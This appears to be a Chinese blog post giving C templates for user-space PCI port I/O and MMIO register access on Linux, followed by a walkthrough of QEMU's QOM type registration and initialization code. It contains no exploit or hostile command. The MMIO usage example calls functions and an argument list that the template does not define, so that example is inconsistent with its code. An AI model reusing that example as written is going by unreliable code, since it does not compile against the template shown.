89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <unistd.h>

#define IORESOURCE_IO 0x00000100ULL // 与内核 ioport 标志一致

typedef struct {
uint16_t base; // 端口基址 (x86 的 I/O 空间是 16-bit)
uint32_t size; // BAR 大小(字节)
uint16_t grant_base; // 实际通过 ioperm 开放的起始端口
uint32_t grant_len; // 实际开放长度
bool have_ioperm;
bool have_iopl;
bool inited;
} pio_ctx_t;

static pio_ctx_t g_pio = {0};

/* 内部:从 /sys/bus/pci/devices/<BDF>/resource 解析出指定 BAR(或自动挑首个 PIO BAR)的 start/end/flags */
static int parse_io_bar(const char *bdf_or_path, int bar_idx,
uint16_t *out_base, uint32_t *out_size) {
char path[256];
if (strchr(bdf_or_path, '/')) {
// 可直接传 resource 文件全路径
snprintf(path, sizeof(path), "%s", bdf_or_path);
} else {
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/resource", bdf_or_path);
}

FILE *fp = fopen(path, "r");
if (!fp) return -1;

int idx = 0, chosen = -1;
char line[256];
while (fgets(line, sizeof(line), fp)) {
unsigned long long start = 0, end = 0, flags = 0;
if (sscanf(line, "%llx %llx %llx", &start, &end, &flags) != 3) { idx++; continue; }

if (bar_idx >= 0) {
if (idx == bar_idx) {
if (!(flags & IORESOURCE_IO)) { fclose(fp); errno = EINVAL; return -1; }
if (end < start || start > 0xFFFFULL) { fclose(fp); errno = ERANGE; return -1; }
*out_base = (uint16_t)start;
*out_size = (uint32_t)(end - start + 1);
chosen = idx; break;
}
} else {
if (idx <= 5 && (flags & IORESOURCE_IO)) {
if (end < start || start > 0xFFFFULL) { fclose(fp); errno = ERANGE; return -1; }
*out_base = (uint16_t)start;
*out_size = (uint32_t)(end - start + 1);
chosen = idx; break;
}
}
idx++;
}
fclose(fp);
if (chosen < 0) { errno = ENOENT; return -1; }
return 0;
}

/* 内部:获取端口访问权限。优先 ioperm(仅开本 BAR 范围),失败回退 iopl(3) */
static int acquire_io_priv(uint16_t base, uint32_t size,
uint16_t *grant_base, uint32_t *grant_len,
bool *have_ioperm, bool *have_iopl) {
uint32_t len = size;
if ((unsigned)base + len > 0x10000u) len = 0x10000u - base; // 不越过 64K 上限
if (len == 0) len = 1;

if (ioperm(base, len, 1) == 0) {
*grant_base = base;
*grant_len = len;
*have_ioperm = true;
*have_iopl = false;
return 0;
}
if (iopl(3) == 0) {
*grant_base = 0;
*grant_len = 0;
*have_ioperm = false;
*have_iopl = true;
return 0;
}
return -1;
}

/* ====== 对外 API ====== */
/*
* pio_init
* bdf_or_path : "0000:bb:dd.f" 形式的 BDF;或直接传 resource 的绝对路径
* bar_idx : 0..5 指定 BAR;传 -1 自动挑选第一个 PIO BAR
* 返回 0 成功,-1 失败(查看 errno)
*/
int pio_init(const char *bdf_or_path, int bar_idx) {
if (g_pio.inited) { errno = EALREADY; return -1; }

uint16_t base = 0;
uint32_t size = 0;
if (parse_io_bar(bdf_or_path, bar_idx, &base, &size) != 0) return -1;

uint16_t gbase = 0;
uint32_t glen = 0;
bool have_perm = false, have_iopl = false;
if (acquire_io_priv(base, size, &gbase, &glen, &have_perm, &have_iopl) != 0)
return -1;

g_pio.base = base;
g_pio.size = size;
g_pio.grant_base = gbase;
g_pio.grant_len = glen;
g_pio.have_ioperm= have_perm;
g_pio.have_iopl = have_iopl;
g_pio.inited = true;
return 0;
}

/* 收尾:撤销 ioperm;iopl 切回 0(可忽略失败,进程退出也会复原) */
void pio_fini(void) {
if (!g_pio.inited) return;
if (g_pio.have_ioperm) (void)ioperm(g_pio.grant_base, g_pio.grant_len, 0);
if (g_pio.have_iopl) (void)iopl(0);
memset(&g_pio, 0, sizeof(g_pio));
}

/* 查询已初始化的基址/大小(方便打印或检查) */
uint16_t pio_base(void) { return g_pio.base; }
uint32_t pio_size(void) { return g_pio.size; }

/* 内部:计算端口号 + 越界检查 */
static inline int pio_port(uint32_t off, int width, uint16_t *port_out) {
if (!g_pio.inited) { errno = EPERM; return -1; }
if ((uint64_t)off + (uint64_t)width > g_pio.size) { errno = ERANGE; return -1; }
uint32_t p = (uint32_t)g_pio.base + off;
if (p > 0xFFFFu) { errno = ERANGE; return -1; }
*port_out = (uint16_t)p;
return 0;
}

/* 读写 API —— 8/16/32 位 */
uint8_t pio_read8 (uint32_t off) { uint16_t p; if (pio_port(off,1,&p)) return 0; return inb(p); }
uint16_t pio_read16(uint32_t off) { uint16_t p; if (pio_port(off,2,&p)) return 0; return inw(p); }
uint32_t pio_read32(uint32_t off) { uint16_t p; if (pio_port(off,4,&p)) return 0; return inl(p); }

void pio_write8 (uint32_t off, uint8_t v){ uint16_t p; if (pio_port(off,1,&p)) return; outb(v,p); }
void pio_write16(uint32_t off, uint16_t v){ uint16_t p; if (pio_port(off,2,&p)) return; outw(v,p); }
void pio_write32(uint32_t off, uint32_t v){ uint16_t p; if (pio_port(off,4,&p)) return; outl(v,p); }

使用示例:

1
2
3
4
5
6
7
8
9
10
11
int main() {
if (pio_init("0000:00:04.0", -1) != 0) { perror("pio_init"); return 1; }
printf("PIO base=0x%04x size=0x%x\n", pio_base(), pio_size());

uint32_t v = pio_read32(0x64);
printf("R32 @ +0x64 = 0x%08x\n", v);
pio_write32(0x64, v | 1);

pio_fini();
return 0;
}

MMIO(Memory-Mapped I/O,内存映射 I/O)

MMIO 指的是把设备的一段寄存器/门铃窗口“映射”到物理地址空间(由 BAR 决定)。CPU 用普通的内存读写指令访问这些地址,就等价于在读写设备寄存器。

设备在配置空间里有 BAR0..BAR5。固件/OS 为 Memory BAR 分配一段对齐的物理地址,并把这个地址写回 BAR。

/proc/iomem ⇒ “物理内存地址空间”的全局地图
包含了MMIO 区(设备的 memory BAR)、以及 System RAM、ACPI/固件、ROM、内核代码数据、主桥下行 window 等等。也就是:不止 MMIO,但所有 MMIO 都会在这里出现

MMIO 读写模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define IORESOURCE_MEM 0x00000200ULL

typedef struct {
volatile uint8_t *bar; // 映射后的虚拟基址
size_t size; // 资源真实大小(end-start+1)
size_t map_len; // 实际 mmap 的长度(按页对齐)
int fd; // 打开的 /sys/.../resourceN
int res_idx; // 选中的 resource 行号(BAR 号 0..5)
bool inited;
} mmio_ctx_t;

static mmio_ctx_t g_mmio = {0};

/* --- 内部:把 BDF 或 /sys/.../resource 解析成两个路径 --- */
static int build_paths(const char *bdf_or_path,
char *resource_txt, size_t txt_sz,
char *dev_dir, size_t dir_sz)
{
if (!bdf_or_path || !*bdf_or_path) { errno = EINVAL; return -1; }

if (strchr(bdf_or_path, '/')) {
/* 直接传了 /sys/.../resource */
snprintf(resource_txt, txt_sz, "%s", bdf_or_path);
snprintf(dev_dir, dir_sz, "%s", bdf_or_path);
char *slash = strrchr(dev_dir, '/');
if (!slash) { errno = EINVAL; return -1; }
*slash = '\0';
} else {
/* 传的是 BDF */
snprintf(resource_txt, txt_sz, "/sys/bus/pci/devices/%s/resource", bdf_or_path);
snprintf(dev_dir, dir_sz, "/sys/bus/pci/devices/%s", bdf_or_path);
}
return 0;
}

/* --- 内部:解析 resource 文本,找内存型 BAR(或指定 BAR) --- */
static int parse_mem_bar(const char *resource_txt, int bar_idx,
unsigned long long *start,
unsigned long long *end,
int *picked_idx)
{
FILE *fp = fopen(resource_txt, "r");
if (!fp) return -1;

int idx = 0, sel = -1;
char line[256];
while (fgets(line, sizeof(line), fp)) {
unsigned long long s=0, e=0, f=0;
if (sscanf(line, "%llx %llx %llx", &s, &e, &f) != 3) { idx++; continue; }

if (bar_idx >= 0) {
if (idx == bar_idx) {
if (!(f & IORESOURCE_MEM) || e < s) { fclose(fp); errno = EINVAL; return -1; }
sel = idx; *start = s; *end = e; break;
}
} else {
if (idx <= 5 && (f & IORESOURCE_MEM)) {
if (e < s) { fclose(fp); errno = ERANGE; return -1; }
sel = idx; *start = s; *end = e; break;
}
}
idx++;
}
fclose(fp);
if (sel < 0) { errno = ENOENT; return -1; }
if (picked_idx) *picked_idx = sel;
return 0;
}

/* --- 对外:初始化 / 映射 --- */
int mmio_init(const char *bdf_or_path, int bar_idx)
{
if (g_mmio.inited) { errno = EALREADY; return -1; }

char resource_txt[PATH_MAX];
char dev_dir[PATH_MAX];
if (build_paths(bdf_or_path, resource_txt, sizeof(resource_txt),
dev_dir, sizeof(dev_dir)) != 0) return -1;

unsigned long long start=0, end=0;
int res_idx = -1;
if (parse_mem_bar(resource_txt, bar_idx, &start, &end, &res_idx) != 0) return -1;

size_t size = (size_t)((end - start) + 1ULL);
size_t pg = (size_t)sysconf(_SC_PAGESIZE);
size_t map_len = (size + pg - 1) & ~(pg - 1);

char res_path[PATH_MAX];
snprintf(res_path, sizeof(res_path), "%s/resource%d", dev_dir, res_idx);
int fd = open(res_path, O_RDWR | O_SYNC);
if (fd < 0) return -1;

void *map = mmap(NULL, map_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) { int sv = errno; close(fd); errno = sv; return -1; }

g_mmio.bar = (volatile uint8_t *)map;
g_mmio.size = size;
g_mmio.map_len = map_len;
g_mmio.fd = fd;
g_mmio.res_idx = res_idx;
g_mmio.inited = true;
return 0;
}

void mmio_fini(void)
{
if (!g_mmio.inited) return;
if (g_mmio.bar) munmap((void *)g_mmio.bar, g_mmio.map_len);
if (g_mmio.fd >= 0) close(g_mmio.fd);
memset(&g_mmio, 0, sizeof(g_mmio));
}

/* --- 查询 --- */
volatile void *mmio_base(void) { return g_mmio.bar; }
size_t mmio_size(void) { return g_mmio.size; }

/* --- 内部:范围检查 --- */
static inline int chk(size_t off, size_t width) {
if (!g_mmio.inited) { errno = EPERM; return -1; }
if (off + width > g_mmio.size) { errno = ERANGE; return -1; }
return 0;
}

/* --- 读写 API(按天然宽度访问;PCI 寄存器通常小端) --- */
uint8_t mmio_read8 (size_t off){ if (chk(off,1)) return 0; return *(volatile uint8_t *)(g_mmio.bar + off); }
uint16_t mmio_read16(size_t off){ if (chk(off,2)) return 0; return *(volatile uint16_t*)(g_mmio.bar + off); }
uint32_t mmio_read32(size_t off){ if (chk(off,4)) return 0; return *(volatile uint32_t*)(g_mmio.bar + off); }
uint64_t mmio_read64(size_t off){ if (chk(off,8)) return 0; return *(volatile uint64_t*)(g_mmio.bar + off); }

void mmio_write8 (size_t off, uint8_t v){ if (chk(off,1)) return; *(volatile uint8_t *)(g_mmio.bar + off) = v; }
void mmio_write16(size_t off, uint16_t v){ if (chk(off,2)) return; *(volatile uint16_t*)(g_mmio.bar + off) = v; }
void mmio_write32(size_t off, uint32_t v){ if (chk(off,4)) return; *(volatile uint32_t*)(g_mmio.bar + off) = v; }
void mmio_write64(size_t off, uint64_t v){ if (chk(off,8)) return; *(volatile uint64_t*)(g_mmio.bar + off) = v; }

volatile void *mmio_ptr(size_t off){
if (chk(off,1)) return NULL;
return (volatile void *)(g_mmio.bar + off);
}

使用示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int main() {
// 例:BDF=0000:17:00.0,选 BAR0(传 -1 则自动挑第一个内存型 BAR)
if (mmio_init("0000:17:00.0", 0, /*try_wc=*/false) != 0) {
perror("mmio_init"); return 1;
}
printf("BAR%u size=0x%zx flags=0x%llx (wc=%s)\n",
mmio_res_index(), mmio_size(), mmio_flags(),
(mmio_flags() & 0x00002000ULL) ? "prefetchable" : "no");

// 写一个 32 位寄存器,然后用状态寄存器 0x104 做 flush
mmio_write32(0x100, 0x12345678);
mmio_flush(0x104);
printf("reg[0x100]=0x%08x\n", mmio_read32(0x100));

mmio_fini();
return 0;
}

QEMU Object Model

QEMU Object Model(QOM)就是 QEMU 在 C 语言里自建的一套“面向对象”系统,用来统一建模和管理模拟中的一切东西(CPU、总线、设备、内存、机器等)。它提供类型系统、继承/接口、对象树、属性、以及设备生命周期(realize/unrealize)等机制,让设备能被配置、热插拔、迁移,并能被 QMP/HMP 进行自省(introspection)。

  • Type:概念上的“类定义”。在源码里先写一个 TypeInfo 常量描述它;注册后在运行期对应一个 **TypeImpl**(内部表示,放到全局哈希表里)。
  • Class:某个类型的类对象(保存“虚函数表”等静态行为),类型初始化后得到一个 ObjectClass 实例。
  • Object:某个类型的实例对象,动态分配的 **Object**(或其派生,比如 DeviceState 内含的 Object 头)。
  • Property:对象/类对外暴露的属性访问器(getter/setter 或指向子对象/链接),用于命令行与 QMP 自省。
classDiagram
    direction LR

    class TypeInfo {
      +const char* name
      +const char* parent
      +size_t instance_size
      +size_t instance_align
      +void (*instance_init)(Object*)
      +void (*instance_post_init)(Object*)
      +void (*instance_finalize)(Object*)
      +bool abstract
      +size_t class_size
      +void (*class_init)(ObjectClass*, const void*)
      +void (*class_base_init)(ObjectClass*, const void*)
      +const void* class_data
      +InterfaceInfo[] interfaces
    }

    class TypeImpl {
      +const char* name
      +size_t class_size
      +size_t instance_size
      +size_t instance_align
      +void (*class_init)(ObjectClass*, const void*)
      +void (*class_base_init)(ObjectClass*, const void*)
      +const void* class_data
      +void (*instance_init)(Object*)
      +void (*instance_post_init)(Object*)
      +void (*instance_finalize)(Object*)
      +bool abstract
      +const char* parent
      +TypeImpl* parent_type
      +ObjectClass* class  %% 单例 class 对象
      +int num_interfaces
      +InterfaceImpl interfaces[*]
    }

    class ObjectClass {
      +Type type            %% 指回本类的 TypeImpl
      +GSList* interfaces   %% InterfaceClass 列表(按类挂载)
      +const char* object_cast_cache[4]
      +const char* class_cast_cache[4]
      +ObjectUnparent* unparent
      +GHashTable* properties
    }

    class Object {
      +ObjectClass* class   %% 指向所属类
      +ObjectFree* free
      +GHashTable* properties
      +uint32_t ref
      +Object* parent
    }

    class InterfaceInfo {
      +const char* type     %% 接口类型名(注册时声明)
    }

    class InterfaceImpl {
      +const char* typename %% 运行时保存的接口名
    }

    class InterfaceClass {
      <>
      +ObjectClass parent_class
      +Type interface_type  %% 指向接口自身的 TypeImpl
    }

    %% 关系
    TypeInfo --> TypeImpl : type_register_static()
    TypeImpl --> TypeImpl : parent_type
    TypeImpl *-- ObjectClass : class (singleton)
    Object --> ObjectClass : class
    ObjectClass --> TypeImpl : type
    TypeInfo --> InterfaceInfo : interfaces
    TypeImpl --> InterfaceImpl : interfaces
    InterfaceClass --|> ObjectClass : subclass
    ObjectClass o-- "0..*" InterfaceClass : interfaces (per-class)
    InterfaceClass --> TypeImpl : interface_type

QOM整个运作包括3个部分,即类型的注册、类型的初始化以及对象的初始化。

在这里插入图片描述

类型的注册

TypeInfo 这一结构体用来定义一个「类」的基本属性,该结构体定义于 include/qom/object.h 当中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct TypeInfo
{
const char *name; // 类型名
const char *parent; // 父类型名

size_t instance_size; // 实例对象大小(派生自 Object;0=沿用父类)
void (*instance_init)(Object *obj); // 实例初始化(仅初始化本类型成员)
void (*instance_post_init)(Object *obj); // 实例收尾(所有 instance_init 之后)
void (*instance_finalize)(Object *obj); // 实例析构(先于父类 finalize,仅释放本类型资源)

bool abstract; // 抽象类型?true=不可直接实例化
size_t class_size; // 类对象大小(派生自 ObjectClass;0=沿用父类)

void (*class_init)(ObjectClass *klass, void *data); // 本类的类初始化:设定/覆盖虚方法、安装属性等
void (*class_base_init)(ObjectClass *klass, void *data); // 基类修正:父类完成→本类开始前,用于撤销 memcpy 副作用
void *class_data; // 传递给 class_init / class_base_init 的数据

InterfaceInfo *interfaces; // 接口列表(以全零元素结尾的静态数组)
};

hw/misc/edu.c 文件为例,当我们在 Qemu 中要定义一个「类」的时候,我们实际上需要定义一个 TypeInfo 类型的变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static void pci_edu_register_types(void)
{
static InterfaceInfo interfaces[] = {
{ INTERFACE_CONVENTIONAL_PCI_DEVICE },
{ },
};
static const TypeInfo edu_info = {
.name = TYPE_PCI_EDU_DEVICE,
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(EduState),
.instance_init = edu_instance_init,
.class_init = edu_class_init,
.interfaces = interfaces,
};

type_register_static(&edu_info);
}
type_init(pci_edu_register_types)

可以看到各个 QOM 类型最终通过函数 register_module_init 注册到了系统,其中 function 是每个类型都需要实现的初始化函数,type 表示是 MODULE_INIT_QOM

这里的 constructor 是编译器属性,编译器会把带有这个属性的函数 do_qemu_init_ ##function 放到特殊的段中,带有这个属性的函数会早于 main 函数执行,也就是说所有的 QOM 类型注册在 main 执行之前就已经执行了。

1
2
3
4
5
6
7
#define module_init(function, type)                                         \
static void __attribute__((constructor)) do_qemu_init_ ## function(void) \
{ \
register_module_init(function, type); \
}

#define type_init(function) module_init(function, MODULE_INIT_QOM)

register_module_init 及相关函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
void register_module_init(void (*fn)(void), module_init_type type)
{
ModuleEntry *e;
ModuleTypeList *l;

e = g_malloc0(sizeof(*e));
e->init = fn;
e->type = type;

l = find_type(type);

QTAILQ_INSERT_TAIL(l, e, node);
}

register_module_init 函数以类型的初始化函数以及所属类型(对 QOM 类型来说是 MODULE_INIT_QOM )构建出一个 ModuleEntry,然后插入到对应 module 所属的链表中,所有 module 的链表存放在一个 init_type_list 数组中。

在这里插入图片描述

进入 main 函数后不久就以 MODULE_INIT_QOM 为参数调用了函数 module_call_init

1
2
3
int main(int argc, char **argv, char **envp)
qemu_init(argc, argv, envp);
module_call_init(MODULE_INIT_QOM);

这个函数执行了 init_type_list[MODULE_INIT_QOM] 链表上每一个 ModuleEntryinit 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void module_call_init(module_init_type type)
{
ModuleTypeList *l;
ModuleEntry *e;

if (modules_init_done[type]) {
return;
}

l = find_type(type);

QTAILQ_FOREACH(e, l, node) {
e->init();
}

modules_init_done[type] = true;
}

以 edu 设备为例,该类型的 init 函数是 pci_edu_register_types,该函数唯一的工作是构造了一个 TypeInfo 类型的 edu_info,并将其作为参数调用 type_register_statictype_register_static 调用 type_register,最终到达了 type_register_internal,核心工作在这一函数中进行。

type_register_internal 函数很简单,type_new 函数首先通过一个 TypeInfo 结构构造出一个 TypeImpltype_table_add 则将这个 TypeImpl 加入到一个哈希表中。这个哈希表的 key 是 TypeImpl 的名字,value 为 TypeImpl 本身的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static TypeImpl *type_new(const TypeInfo *info)
{
TypeImpl *ti = g_malloc0(sizeof(*ti));
int i;

g_assert(info->name != NULL);

if (type_table_lookup(info->name) != NULL) {
fprintf(stderr, "Registering `%s' which already exists\n", info->name);
abort();
}

ti->name = g_strdup(info->name);
ti->parent = g_strdup(info->parent);

ti->class_size = info->class_size;
ti->instance_size = info->instance_size;

ti->class_init = info->class_init;
ti->class_base_init = info->class_base_init;
ti->class_data = info->class_data;

ti->instance_init = info->instance_init;
ti->instance_post_init = info->instance_post_init;
ti->instance_finalize = info->instance_finalize;

ti->abstract = info->abstract;

for (i = 0; info->interfaces && info->interfaces[i].type; i++) {
ti->interfaces[i].typename = g_strdup(info->interfaces[i].type);
}
ti->num_interfaces = i;

return ti;
}

static GHashTable *type_table_get(void)
{
static GHashTable *type_table;

if (type_table == NULL) {
type_table = g_hash_table_new(g_str_hash, g_str_equal);
}

return type_table;
}

static void type_table_add(TypeImpl *ti)
{
assert(!enumerating_types);
g_hash_table_insert(type_table_get(), (void *)ti->name, ti);
}

static TypeImpl *type_register_internal(const TypeInfo *info)
{
TypeImpl *ti;
ti = type_new(info);

type_table_add(ti);
return ti;
}

TypeImpl 中存放了类型的所有信息,其定义如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* TypeImpl:运行期的“类型”元数据。
* 说明:用于对象系统(如 QOM)中描述一个类型的类大小、实例大小、构造/析构回调、
* 继承关系以及实现的接口等信息。
*/
struct TypeImpl
{
const char *name; // 类型名称(全局唯一,用于注册/查找)

size_t class_size; // 类对象(ObjectClass 派生体)所占字节数
size_t instance_size; // 实例对象(Object 派生体)所占字节数

void (*class_init)(ObjectClass *klass, void *data); // 类初始化回调:构建类对象时调用,设置虚函数表/类级属性;data 为 class_data
void (*class_base_init)(ObjectClass *klass, void *data); // 类“基”初始化回调:在搭建类层级的早期执行,用于与父类相关的基础初始化

void *class_data; // 传入 class_init / class_base_init 的私有数据

void (*instance_init)(Object *obj); // 实例构造回调:对象分配后进行字段初始化
void (*instance_post_init)(Object *obj); // 实例后置构造:依赖其他属性/对象已就绪后的初始化
void (*instance_finalize)(Object *obj); // 实例析构回调:释放实例持有的资源

bool abstract; // 是否为抽象类型(true 表示不能直接实例化)

const char *parent; // 父类型名称(继承来源)
TypeImpl *parent_type; // 解析后的父类型指针(注册后填充)

ObjectClass *class; // 该类型对应的类对象(单例)
// 注:字段名为 class,C 语言合法;在 C++ 中需避免与关键字冲突

int num_interfaces; // 实现的接口数量
InterfaceImpl interfaces[MAX_INTERFACES]; // 已实现的接口列表
};

类型的初始化

类的初始化是通过 type_initialize 函数完成的,这个函数并不长,函数的输入是表示类型信息的 TypeImpl 类型 ti。函数首先判断了 ti->class 是否存在,如果不为空就表示这个类型已经初始化过了,直接返回。

1
2
3
if (ti->class) {
return;
}

后面主要做了三件事:

  • 第一件事是设置相关的 filed,比如 class_sizeinstance_size,使用 ti->class_size 分配一个 ObjectClass

    • 计算 class_size / instance_size

    • instance_size == 0,该类型被视作 abstract(接口类型必然如此);

    • 分配 klassObjectClass)内存。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ti->class_size = type_class_get_size(ti);
    ti->instance_size = type_object_get_size(ti);
    /* Any type with zero instance_size is implicitly abstract.
    * This means interface types are all abstract.
    */
    if (ti->instance_size == 0) {
    ti->abstract = true;
    }
    if (type_is_ancestor(ti, type_interface)) {
    assert(ti->instance_size == 0);
    assert(ti->abstract);
    assert(!ti->instance_init);
    assert(!ti->instance_post_init);
    assert(!ti->instance_finalize);
    assert(!ti->num_interfaces);
    }
    ti->class = g_malloc0(ti->class_size);
  • 第二件事就是初始化所有父类类型,不仅包括实际的类型,也包括接口这种抽象类型。

    • 先递归初始化父类;

    • memcpy() 拷贝父类的类对象内容到子类的 klass,然后把 klass->interfaces 置空;

    • 逐个把父类携带的接口挂到当前类上;

    • 再把本类在 TypeInfo.interfaces 声明的接口补上(去重,避免父类已提供的重复接口);

    • 建立类级别的 properties 哈希表。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    // 假设:当前位于 type_initialize(TypeImpl *ti) 内部
    parent = type_get_parent(ti); // 解析并缓存父类型(若存在)
    if (parent) { // 若有父类:基于父类来构造本类的 class
    type_initialize(parent); // 递归确保父类已初始化(parent->class 就绪)
    GSList *e; // 用于遍历接口链表(GLib 单链表)
    int i;

    g_assert(parent->class_size <= ti->class_size); // 子类 class 至少要容纳父类部分
    g_assert(parent->instance_size <= ti->instance_size);// 子类实例大小也必须不小于父类
    memcpy(ti->class, parent->class, parent->class_size);// 先把父类的类对象前缀拷贝过来
    ti->class->interfaces = NULL; // 清空接口链表,稍后按规则重建
    ti->class->properties = g_hash_table_new_full( // 为“本类”新建属性表
    g_str_hash, g_str_equal, NULL, object_property_free);
    // key: 属性名;value: ObjectProperty*;
    // 释放函数为 object_property_free

    // —— 继承父类接口:把父类已经附加的每个接口也附加到当前类 ——
    for (e = parent->class->interfaces; e; e = e->next) {
    InterfaceClass *iface = e->data; // 父类的一个接口类
    ObjectClass *klass = OBJECT_CLASS(iface); // 作为 ObjectClass 取到其 type

    // 为“当前类 + 该接口类型”生成接口类并附加到 ti->class->interfaces。
    // 第二个参数:接口的 Type(iface->interface_type)
    // 第三个参数:父类接口类的 type(klass->type),沿用父类的更具体实现。
    type_initialize_interface(ti, iface->interface_type, klass->type);
    }

    // —— 处理本类显式声明的接口(TypeImpl.interfaces[]) ——
    for (i = 0; i < ti->num_interfaces; i++) {
    TypeImpl *t = type_get_by_name(ti->interfaces[i].typename); // 接口类型的 TypeImpl
    if (!t) {
    error_report("missing interface '%s' for object '%s'",
    ti->interfaces[i].typename, parent->name);
    abort();
    }

    // 去重/去冗余:如果已经因为父类而附加了“同一或更具体”的接口,就不再附加
    for (e = ti->class->interfaces; e; e = e->next) {
    TypeImpl *target_type = OBJECT_CLASS(e->data)->type;

    if (type_is_ancestor(target_type, t)) { // target_type == t 或 派生自 t
    break; // 已满足(甚至更具体),跳过当前 t
    }
    }

    if (e) { // 找到冗余条目:继续下一个接口
    continue;
    }

    // 否则为该接口生成并附加接口类。
    // 这里把“接口类型”和“目标类型”都设为 t(与继承路径不同)。
    type_initialize_interface(ti, t, t);
    }
    } else { // 无父类(根类型,如 TYPE_OBJECT)
    ti->class->properties = g_hash_table_new_full(
    g_str_hash, g_str_equal, NULL, object_property_free);
    }

    // 反向关联:让类对象能回到它的 TypeImpl(抽象与否都要设置)
    ti->class->type = ti;
  • 第三件事就是依次调用所有父类的 class_base_init 以及自己的 class_init,这也和 C++ 很类似,在初始化一个对象的时候会依次调用所有父类的构造函数。这里是调用了父类型的 class_base_init 函数。

    • 按祖先链自下而上依次调用各祖先的 class_base_init
    • 只调用本类的 class_init(祖先的 class_init 在祖先初始化时已经调用过了)。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    while (parent) {
    if (parent->class_base_init) {
    parent->class_base_init(ti->class, ti->class_data);
    }
    parent = type_get_parent(parent);
    }

    if (ti->class_init) {
    ti->class_init(ti->class, ti->class_data);
    }

实际上 type_initialize 函数可以在很多地方调用,不过,只有在第一次调用的时候会进行初始化,之后的调用会由于 ti->class 不为空而直接返回。

下面以其中一条路径来看 type_initialize 函数的调用过程。假设在启动 QEMU 虚拟机的时候不指定 machine 参数,那 QEMU 会在 main 函数中调用 select_machine,进而由 find_default_machine 函数来找默认的 machine 类型。在那个函数之前,会调用 object_class_get_list 来得到所有 TYPE_MACHINE 类型组成的链表。

1
2
3
4
int main(int argc, char **argv, char **envp)
> machine_class = select_machine();
> GSList *machines = object_class_get_list(TYPE_MACHINE, false);
> MachineClass *machine_class = find_default_machine(machines);

object_class_get_list 会调用 object_class_foreach,后者会对 type_table 中所有类型调用 object_class_foreach_tramp 函数,在该函数中会调用 type_initialize 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// 便捷函数:收集满足条件的类,返回一个 GSList* 链表。
// implements_type : 同上;若为接口名,则返回实现该接口的类;若为基类名,则返回其所有后代类
// include_abstract : 是否把抽象类也放进结果
GSList *object_class_get_list(const char *implements_type,
bool include_abstract)
{
GSList *list = NULL;

// object_class_get_list_tramp 是一个小收集器回调:
// 把每个匹配到的 ObjectClass 追加/前插到 list 中(opaque 即 &list)
object_class_foreach(object_class_get_list_tramp,
implements_type, include_abstract, &list);
return list; // 注意:调用者通常需要 g_slist_free(list) 释放“链表节点”本身
}

// 公共遍历入口:对类型表中所有(或满足条件的)类逐个调用回调。
// fn : 对每个匹配到的 ObjectClass 执行的回调
// implements_type : 过滤条件;仅选择“是该类型或其子类/实现该接口”的类;NULL 表示不过滤
// include_abstract : 是否包含抽象类
// opaque : 传递给回调的用户数据
void object_class_foreach(void (*fn)(ObjectClass *klass, void *opaque),
const char *implements_type, bool include_abstract,
void *opaque)
{
OCFData data = { fn, implements_type, include_abstract, opaque };

enumerating_types = true; // 标记“正在枚举类型”,防止枚举期间向 type_table 插入新类型
g_hash_table_foreach(type_table_get(), // 取到全局类型表
object_class_foreach_tramp, // 对每个条目调用上面的跳板函数
&data);
enumerating_types = false; // 枚举结束,清除标记
}

// 遍历类型表(type_table)时用的“跳板”函数(trampoline)。
// key : 哈希表键(类型名,未使用)
// value : 哈希表值(TypeImpl*,运行期的类型描述符)
// opaque : 上下文指针,这里实际是 OCFData*,携带过滤条件与用户回调
